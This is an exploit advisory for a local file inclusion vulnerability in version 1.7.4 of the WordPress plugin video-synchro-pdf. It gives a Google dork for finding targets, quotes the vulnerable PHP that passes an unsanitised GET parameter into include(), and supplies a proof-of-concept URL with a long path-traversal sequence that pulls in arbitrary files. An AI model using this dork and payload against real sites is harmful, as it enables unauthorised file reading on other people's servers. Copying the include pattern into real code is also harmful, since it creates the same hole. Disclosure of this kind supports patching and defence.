WordPress video-synchro-pdf 1.7.4 Plugin - Local File Inclusion Vulnerability

# Exploit Title: WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion
# Google Dork: inurl:/wp-content/plugins/video-synchro-pdf/
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/video-synchro-pdf/
# Version: 1.7.4
# Tested on: Firefox

# Vulnerable File: video-synchro-pdf/reglages/Menu_Plugins/tout.php

# Vulnerable Code:

```
<?php
if ($_GET['p']<=NULL) {
	include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/index.php');
}else{
	include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/'.$_GET['p'].'.php');
}
```

# Proof of Concept:

http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=
<http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>[LFI]

Contents of index.php: <?php echo "Local file read"; phpinfo(); ?>